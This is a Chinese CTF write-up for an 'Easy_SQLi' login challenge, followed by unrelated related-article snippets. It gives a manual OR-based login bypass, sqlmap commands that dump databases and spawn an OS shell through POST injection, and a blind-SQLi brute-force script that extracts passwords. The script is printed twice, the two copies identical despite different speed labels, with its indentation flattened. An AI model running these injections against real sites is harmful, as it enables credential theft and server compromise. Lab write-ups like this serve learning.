5、sqlmap注入post类型+os-shell

news/2024/9/23 17:30:56/

题目:青少年:Easy_SQLi

1、打开网页,是一个登入表单

2、判断注入类型,是一个字符注入,使用or直接绕过密码进去了

3、上bp抓取数据包,sqlmmap用post注入走一遍,找到数据库,账号密码,这里的账号密码其实也没什么用,形同虚设

sqlmap注入payload:

python sqlmap.py -r "C:\Users\bixin\Desktop\dictionary\post.txt" -p uname --dbs

-r:表示指定注入的post文件路径

-p:表示注入点参数,uname

--dbs:当前服务器中的所以数据库

4、老规矩,数据表、字段挨个走一遍,但没有什么发现

5、试一下shell注入,一试一个准,直接进去了,查看一下根目录发现flag

D:\Python3.8.6\SQLmap>python sqlmap.py -r "C:\Users\bixin\Desktop\dictionary\post.txt" -p uname --os-shell

-r

-r:表示目标为一个文件,bp抓的包

-p:表示一个参数,即一个注入的口

-os-shell:进行shell注入

6、成功进入shell,查看根目录文件,发现flag

7、成功获取flag

补充:

在网上看到另外一种wp

使用的是脚本跑,没看懂,留着以后看,如下:

①:这个脚本速度快

import requests
import time
url = "http://challenge.qsnctf.com:31029/login.php"  #这里放的是url,登入状态的url
flag = ""
for num in range(1,100):for i in range(33,127) :data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}res = requests.post(url = url, data = data)time.sleep(0.05)if res.text == "Login successful" :flag += chr(i)break
print(flag)

②这个脚本速度慢

import requests
import time
url = "http://challenge.qsnctf.com:31029/login.php"  #这里放的是url,登入状态的url
flag = ""
for num in range(1,100):for i in range(33,127) :data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}res = requests.post(url = url, data = data)time.sleep(0.05)if res.text == "Login successful" :flag += chr(i)break
print(flag)

总结:

1、先测试是否存在sql注入,有无回显

2、出现登入表单,第一时间采用post注入

3、发现数据库没有机会的情况,换os-shell注入


http://www.ppmy.cn/news/1463883.html

相关文章

【OpenCV】图形绘制与填充

介绍了绘制、填充图像的API。也介绍了RNG类用来生成随机数。相关API: line() rectangle() circle() ellipse() putText() 代码: #include "iostream" #include "opencv2/opencv.hpp"using namespace std; using namespace cv…

Nginx企业级负载均衡:技术详解系列(12)—— 深入解析root、alias及location

你好,我是赵兴晨,97年文科程序员。 在生产服务器的Nginx配置中,我们总会遇到形形色色的配置方案。你是否曾注意到root和alias指令的巧妙应用?是否对那些五花八门的location匹配规则感到好奇? 今天,咱们来聊…

字符串转ArrayBuffer

const arrayBuffer new ArrayBuffer(str.length)const bufferView new Uint8Array(ab) for (let i 0; i < str.length; i) {bufferView[i] str.charCodeAt(i) }【前端】失落的 ArrayBuffer - 知乎

jeecgboot 同一账号只允许一个人登录

1.需求分析 jeecgboot 框架要实现同一个账号只允许一个人登录&#xff0c;就跟游戏账号类似&#xff0c;“我登录了就把你踢下去&#xff0c;你登录了就把我踢下去”&#xff1b;jwt 原理是生成 token 后一段时间内登录都有效&#xff0c;jeecgboot 中 jwt 和 redis 联合使用后…

原生html和js实现瀑布流布局(macyjs插件,不依赖于jquery,纯原生)

官网地址 方式一&#xff1a;在github上找到项目&#xff0c;复制demo/assets/css/macy.css&#xff0c;以及/dist/macy.js 直接引入项目 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv&qu…

QT学习(20):QStyle和自定义样式

QStyle 样式&#xff08;继承自QStyle类&#xff09;代表控件的绘制并封装GUI的外观。QStyle是一个封装了GUI外观的抽象基类。Qt使用QStyle去执行几乎所有的内置控件的绘制&#xff0c;确保控件外观和原生控件风格风格相同。 class Q_WIDGETS_EXPORT QStyle : public QObject{…

QT学习(20):QStyle类

Qt包含一组QStyle子类&#xff0c;这些子类&#xff08;QWindowsStyle&#xff0c;QMacStyle等&#xff09;模拟Qt支持的不同平台的样式&#xff0c;默认情况下&#xff0c;这些样式内置在Qt GUI模块中&#xff0c;样式也可以作为插件提供。 Qt的内置widgets使用QStyle来执行几…

动态内存管理—C语言通讯录

目录 一&#xff0c;动态内存函数的介绍 1.1 malloc和free 1.2 calloc 1.3 realloc 1.4C/C程序的内存开辟 二&#xff0c;通讯录管理系统 动态内存函数的介绍 malloc free calloc realloc 一&#xff0c;动态内存函数的介绍 1.1 malloc和free void* malloc (…